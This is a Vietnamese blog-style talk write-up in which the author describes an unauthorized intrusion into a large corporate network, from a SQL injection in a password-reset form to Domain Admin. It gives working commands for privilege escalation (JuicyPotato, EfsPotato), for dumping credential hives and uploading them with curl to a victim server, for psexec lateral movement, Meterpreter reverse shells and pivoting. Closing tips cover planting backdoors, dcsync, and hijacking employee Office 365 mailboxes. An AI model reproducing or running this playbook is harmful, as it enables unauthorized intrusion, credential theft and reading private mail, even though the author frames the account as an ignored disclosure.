[Talk] Tôi đã chiếm Domain Admin (AD) một tập đoàn cỡ 15000 tỷ như thế nào?


Hành trình leo thang từ SQL Injection đến Domain Admin (AD) take over. Con số 15000 tỷ là tôi để giật tít thôi, nó là con số mà một tờ báo tài chính đếch nào đấy định giá tôi vô tình tìm được. Tóm lại là to, nhưng cái cách mà họ phản ứng lại với việc bị tấn công mạng thì…

Đã hơn một năm kể từ khi tôi gửi phát hiện của mình cho phía tập đoàn và chẳng gì cả, đúng nghĩa đen, từ phản hồi cho đến khắc phục, chẳng gì cả. Cho nên thì, đa phần những ảnh PoC dưới đây sẽ là do tôi bịa ra để mô tả, vì vấn đề vẫn còn đó.

Mọi chuyện bắt đầu với một trang Đăng nhập. Đúng rồi đấy, SQL Injection.

From SQL Injection

Nó không xảy ra với trường Username hay Password, nó xảy ra trong chức năng ResetPassword và người dùng sẽ nhập Email hay Số điện thoại vào để hệ thống nhận diện và thực hiện các thao tác đổi mật khẩu sau đó.

Không mất nhiều thời gian để ném ngay vuln point này vào sqlmap và dump lấy vài thứ. Thậm chí tôi còn có thể thực thi lệnh trên máy chủ Cơ sở dữ liệu này chỉ với việc thêm option --os-shell.
Được rồi, dừng lại ở đây, chụp lại mấy cái ảnh làm bằng chứng và soạn một email, gửi, biết đâu lại nhận được gì đó =)) nhưng không.
Không nhớ lắm, có lẽ là đôi tháng, gì đó, không một động thái nào được ghi nhận. Đấy là lúc mà tôi nhận ra rằng chính những người vận hành nó còn chẳng buồn quan tâm đến nó. “Thôi được rồi.”, cái máu Red Team của tôi, để xem làm được gì với đống này nào.

Post Exploitation

Lấy reverse shell à, không dễ thế, vì máy chủ này không kết nối ra Internet. Oẳng. Việc phát động một cuộc tấn công nội bộ vào các máy chủ lân cận chỉ với non-interactive shell như này thì hơi oái oăm.
Ý tưởng không mới, vẫn phải cố để tìm kiếm một đường kết nối ra bên ngoài, hoặc một cách thức nào đó để tôi có thể thao tác “thoải mái” hơn. Nếu máy chủ này không kết nối ra Internet, vậy còn các máy chủ lân cận thì sao? Và làm thế nào để tôi có thể truy cập hay điều khiển những máy chủ lân cận đó?
Giờ tôi cần phải leo thang đặc quyền trên máy chủ này, nó chạy Windows Server 2012.

Với đống thông tin systeminfo, nắm được OS đang được cài đặt là bản Windows Server 2012 R2 Standard, kiến trúc x64, không thuộc quản lý bởi Domain và là một máy ảo, cái đáng chú ý nhất là thông tin về những bản cập nhật đã được cài đặt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Domain:                    WORKGROUP
Logon Server: N/A
Hotfix(s): 140 Hotfix(s) Installed.
[01]: KB2868626
[02]: KB2883200
[03]: KB2887595
[04]: KB2894852
[05]: KB2894856
...
[135]: KB4486105
[136]: KB4515846
[137]: KB4524445
[138]: KB4531181
[139]: KB4578976
[140]: KB5003671

Với thông tin bản cập nhật cuối cùng, KB5003671, có thể biết được lần cuối máy chủ được cập nhật vào tháng 8/2021, tức là khoảng 1 năm trước thời điểm tôi tấn công. Vậy thì tôi sẽ thử nhắm tới những lỗ hổng leo thang đặc quyền có thể ảnh hưởng tới Windows Server 2012 R2 từ cuối 2021.

Kiểm tra whoami /priv, SeImpersonatePrivilege Enabled.
Nghĩ ngay đến Juicy Potato, thuộc nhà Potatoes =)) bạn có thể đọc về những củ Khoai tây ở đây.

1
https://jlajara.gitlab.io/Potatoes_Windows_Privesc

Được rồi, nhưng làm thế nào để tôi có thể tải tập tin binary vào máy chủ với cái shell không hoàn chỉnh này? Mã hoá base64 rồi ghi từng đoạn vào một tập tin text sau đó chuyển ngược lại từ base64 sang binary à. Bần cùng thì cũng phải làm cách đó, nhưng sẽ rất mất thời gian, vì còn những tập tin với kích thước cả megabyte. Máy chủ cũng không kết nối ra Internet để có thể tải. Chà. Nhưng biết đâu nó sẽ kết nối đến những máy chủ khác trong mạng nội bộ của nó, khả năng rất cao là như thế. Vậy tôi sẽ cần tải những tập tin cần thiết lên một máy chủ nào đó đang public dịch vụ ra Internet và nằm trong mạng nội bộ cùng với máy chủ tôi đang có quyền điều khiển.

File Transfer

Tôi tìm lại những sub-domain sau khi thực hiện recon, tập trung tìm kiếm một dịch vụ nào đó cho phép tôi tải lên tập tin ở bất kỳ định dạng nào. Phần lớn trong số chúng yêu cầu đăng nhập để thực hiện thao tác, sử dụng tài khoản của nhân viên.
Với khoảng mấy trăm cái email của nhân viên tôi lấy được từ lỗ hổng SQL Injection, thực hiện brute-force với top 100 mật khẩu phổ biến nhất, và tóm được một vài tài khoản để mật khẩu khá dễ.
Có được tài khoản, đăng nhập vào một trang tôi đoán là HRM của họ. Tại đây thì có rất nhiều chỗ để có thể upload file, tôi dùng chức năng tạo yêu cầu hỗ trợ với IT-support và tải lên JuicyPotato.exe. Giờ việc tiếp theo là cần sử dụng máy chủ tôi đang có quyền điều khiển để tải về JuicyPotato.exe từ máy chủ HRM.

Thực hiện nslookup với sub-domain và thấy địa chỉ IP local của máy chủ HRM. Có thể việc này sẽ thành công thật.

1
nslookup hrm.victimgroup.com.vn

Nghe ổn đấy. Giờ tải tập tin đó về.

1
2
certutil -urlcache -f https://htm.victimgroup.com.vn/support/upload_content/JuicyPotato.exe c:\\user\public\downloads\JuicyPotato.exe
dir c:\\users\public\downloads

Thành công! Có tồn tại JuicyPotato.exe trong thư mục c:\users\public\downloads. Giờ thì chạy lệnh để kiểm tra xem có thể leo thang đặc quyền thành công không.

Privileges Escalation

1
c:\\users\public\downloads\JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\whoami.exe

Nhưng, JuicyPotato.exe không tồn tại nữa. Wtf!? Lúc này tôi mới nhận ra rằng mình đã chưa kiểm tra trên máy chủ SQL này có Anti Virrus hay không, dở rồi. Nhưng thế quái nào trên máy chủ HRM lại không bị xoá?
Giờ cần xem mình đang đối mặt với AV nào, kiểm tra các service đang chạy trên máy chủ SQL. Symantec!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
sq query
...
SERVICE_NAME: SepMasterService
DISPLAY_NAME: Symantec Endpoint Protection
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(NOT_STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

SERVICE_NAME: SepScanService
DISPLAY_NAME: Symantec Endpoint Protection Scan Service
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(NOT_STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

SERVICE_NAME: sepWscSvc
DISPLAY_NAME: Symantec Endpoint Protection WSC Service
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(NOT_STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

Khó mà đoán được Symantec Endpoint này có được cập nhật policy, sample thường xuyên không. Căn cứ vào thời gian uptime của máy chủ SQL này đã khoảng 1 năm trước, cùng với thời điểm hệ điều hành Windows Server 2012 được cập nhật. Tôi đoán Symantec Endpoint cũng được cài đặt và cập nhật từ thời điểm đó, và sau đó bị ngắt kết nối Internet, đại khái vậy. Cho nên tôi cần một cách thức khai thác PE mới hơn JuicyPotato.
Được rồi, tra từ điển tối thượng Payloads All The Things.

Nên thử!
Kiểm tra trên máy chủ SQL có .NET 4.x nhưng không build được. Tôi build trên máy mình, ra efs.exe, và đẩy efs.exe lên máy chủ SQL như cách làm với JuicyPotato.exe.

1
2
# .NET 4.x
C:\Windows\Microsoft.Net\Framework\V4.x\csc.exe EfsPotato.cs

Thực thi, và =))

Nice. Symantec không phát hiện ra, nó đã không chặn cái hành vi tôi thực hiện.

Dump Credential

Giờ thì tôi cần trích xuất thông tin tài khoản trên máy chủ này. Biết thừa rằng Symantec sẽ không bỏ qua cho Mimikatz hay Winpeas, cho nên không hơi đâu mà thử. Tôi dùng cách thủ công để dump: “reg save”


Vấn đề tiếp theo, làm thế quái nào để tôi lấy được 2 cái tập tin sam và system về bây giờ, nhắc lại là nó vẫn không có kết nối ra Internet và có Symantec Endpoint bảo vệ. Khốn khổ. Cơ mà khả năng Symantec Endpoint sẽ không chặn curl.exe, đó là một binary tiêu chuẩn trên Windows phiên bản mới hơn. Ý tưởng sẽ là dùng curl.exe để gọi API upload file mà tôi đã dùng trước đó trên dịch vụ HRM. Thử xem nào.

1
2
3
4
5
6
7
https://github.com/arizvisa/windows-binary-tools/blob/master/curl.exe

curl.exe --version
curl 7.70.0 (i386-pc-win32) libcurl/7.70.0 Schannel
Release-Date: 2020-06-06
Protocols: file ftp ftps http https
Features: AsynchDNS IPv6 Kerberos Largefile NTLM SPNEGO SSL SSPI UnixSockets

Tải lên tập tin sam và system bằng curl.exe với Authorization.

1
2
curl -X POST -H "Authorization: Bearer <AUTH_TOKEN>" -F "file=@C:/users/public/pictures/sam" https://htm.victimgroup.com.vn/support/upload
curl -X POST -H "Authorization: Bearer <AUTH_TOKEN>" -F "file=@C:/users/public/pictures/system" https://htm.victimgroup.com.vn/support/upload

Hoàn hảo! Tôi chỉ việc lên HRM và tải về. Sau đó thực hiện trích xuất credential.

Được rồi, giờ làm gì với mấy tài khoản này? Hãy để ý vào những tài khoản admin01 admin02 admin03 và admin04. Có một điều mà System Admin hay làm khi triển khai máy chủ ảo, đấy là clone. Clone từ một OS snapshot đã được cấu hình hardening đầy đủ và sau đó sẽ triển khai các dịch vụ nghiệp vụ tuỳ theo mục đích. Điều đấy có nghĩa là, những máy chủ sẽ có cấu hình giống y hệt nhau, kể cả những tài khoản admin trong máy. Từ giả thiết đấy, tôi đoán chắc 4 tài khoản admin01 admin02 admin03 admin04 cũng sẽ xuất hiện trên đa phần những máy chủ còn lại trong mạng nội bộ.
Ý tưởng là tôi sẽ dùng những tài khoản admin này để thực thi lệnh trên những máy chủ khác trong mạng nội bộ bằng psexec, và biết đâu đó sẽ có máy chủ kết nối ra bên ngoài Internet, khi đó tôi có thể thoát khỏi cái cảnh non-interactive shell tù túng này.
Crack được 2 trong 4 tài khoản admin ở trên, không khó, ném NTLM hash lên hashes.com

1
https://hashes.com/en/decrypt/hash

Giờ thì tải vào máy chủ SQL psexec.exe, tải ở đây, hàng chính hãng

1
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec

IP local của máy chủ SQL hiện tại là 172.20.x.x, vậy tôi sẽ thử chạy psexec trên dải 172.20.x.0/24, hơn 200 lần thử chứ mấy.

1
psexec.exe \\172.20.x.x -u admin01 -p PassOfAdmin01 -i C:\windows\system32\whoami.exe

Phải có đến hơn chục máy thực thi lệnh thành công, lưu lại IP của những máy này và thực hiện psexec lại với lệnh Ping trỏ về máy chủ VPS của tôi, nếu có bất kỳ gói tin ICMP nào được gửi đến, thì có nghĩa máy chủ trong mạng nội bộ kia có thể kết nối ra Internet. Không nằm ngoài dự đoán.

Giờ tôi sẽ tải vào những máy này Meterpreter payload để lấy reverse shell. Để cẩn thận hơn, tôi đã chạy lệnh “sc query” trên những máy chủ lân cận và phát hiện một vài máy không có Symantec Endpoint hay Anti Virrus nào, kể cả Windows Defender, lại thêm một pha khó hiểu, sao không cài tất?. Anti Virrus nói chung sẽ làm giảm hiệu năng của máy chủ, nếu có một tác nhân nguy hại nào đó được nhận diện, dịch vụ AV sẽ chạy quét để tìm và ngăn chặn mối nguy hại và điều này gây tốn tài nguyên CPU.
Được rồi, lấy reverse shell!

Get Reverse Shell

Đoạn này thì không khó nữa, máy chủ HRM cũng không có Symantec Endpoint, tôi đoán vậy, vì khi ném vào đó Meterpreter payload và trước đó là JuicyPotato.exe, nó không bị xoá đi. Kéo payload về những máy không có AV và thực thi, lấy được reverse shell dễ dàng.

Giờ thì đã có interactive shell, dừng lại ở đây ấy à, chưa đâu =))

Pivot Attack

Tôi thực hiện quét toàn bộ dải mạng 172.20.0.0/16, sử dụng auxiliary/scanner của Metasploit. Sau đó sử dùng Crackmapexec để thực thi lệnh và thu thập thông tin từ những máy chủ đó thông qua Socks Proxy. Bài viết về Proxy Tunnel sử dụng Meterpreter/Metasploit ở đây.

1
https://www.offsec.com/metasploit-unleashed/proxytunnels/


Với thông tin về tên máy, dải IP, tôi bắt đầu ngồi hình dung ra mô hình mạng của tập đoàn này. Những máy chủ tôi đang kiểm soát nằm trong vùng mạng PROD (product), vùng mạng này cung cấp các dịch vụ trực tuyến ra ngoài Internet. Sau đó là có vùng mạng UAT (User Acceptance Testing), vùng mạng thực hiện test sản phẩm trước khi đưa lên PROD, vùng mạng DEV và vùng USER (cái này tôi tự đặt tên).
Tôi dump toàn bộ hash trên tất cả những máy tôi có quyền, trong số đó có kha khá tài khoản của người dùng do cách đặt username, khả năng cao là những tài khoản Quản trị viên.
Và có một vài máy không “nằm” trong domain WORKGROUP. Chà, là domain của tập đoàn. victimgroup.com.vn

To Domain Admin

Cấu hình kết nối ở đây thực sự có vấn đề, những môi trường mạng như PROD, UAT, DEV, AD lại thông với nhau. Dễ dàng cho tôi quá.
Với một vài tài khoản người dùng, tôi thử dump thông tin LDAP của Domain này và phân tích.
Thực ra không mất thời gian phân tích, vì trong số những tài khoản tôi có thì 2 tài khoản thuộc Group Domain Admin. Rồi. Xong.

Giờ thì muốn làm gì thì làm. Dump toàn bộ NTLM hash của người dùng trong Domain, đem đi crack, và đăng nhập vào Office 365 để đọc mail, truy cập VPN, đăng nhập vào các dịch vụ nội bộ…
Về cơ bản, tôi có thể làm mọi thứ với hệ thống này từ xa.

Be a good man, again

Trong thông tin LDAP thu thập được, tôi có số điện thoại CTO của tập đoàn này. Vì gửi email vô ích, có thể email tôi gửi đã bị ném sang mục spam tự động mất rồi, nên tôi quyết định gọi điện cho vị CTO.
Câu hỏi của vị CTO sau khi nghe tôi nói về những lỗ hổng trên toàn bộ hệ thống, là “Bây giờ anh muốn gì?”. Muốn gì ấy à, họ đang nghĩ tôi đang tống tiền họ =))
Và sau đó cũng chẳng gì cả, một lần nữa, từ phản hồi cho đến khắc phục, chẳng gì cả.

Learn something

Một vài điều mà tôi tự rút ra sau cả tháng chui ra chui vào hệ thống mục tiêu:

  • Nên sử dụng Proxy tunnel của Cobalt Strike, Proxy tunnel của Meterpreter/Metasploit rất rất phèn, Proxy bị tắc, phiên Meterpreter cũng tắc theo.
  • Nếu bạn có tài khoản Domain Admin, bạn có thể dcsync dump ở bất kỳ máy nào trong Domain. Điều này có ích khi tất cả các máy trong Domain đã được cài AV để bảo vệ, bạn chỉ cần dùng máy của mình (không có AV, tất nhiên) và join vào, sau đó để Mimikatz làm việc của nó.
  • Nền tảng Office 365 của Microsoft đồng bộ 2 chiều với AD, vậy nên nếu muốn truy cập vào Outlook của nhân viên nào đó mà không có mật khẩu (không crack được NTLM hash), bạn có thể dùng quyền Domain Admin để đổi mật khẩu nhân viên đó trên AD, chờ đôi phút, rồi đăng nhập lại với mật khẩu vừa đổi. Cách này thì…
  • Cài cắm một vài back door để phòng khi mất sạch kết nối với các beacon/meterpreter session, có thể là web shell, hoặc thông tin kết nối VPN…
  • Nếu sử dụng crackmapexec gặp lỗi, hãy thử đổi tham số –exec-method, hoặc sử dụng phiên bản khác. Tôi đã gặp vấn đề với smbexec với phiên bản CME mới nhất nhưng lại bình thường với phiên bản cũ hơn.
  • Và đừng cố giúp ai đó khi họ không muốn được giúp, kiểu, nhiều chuyện :D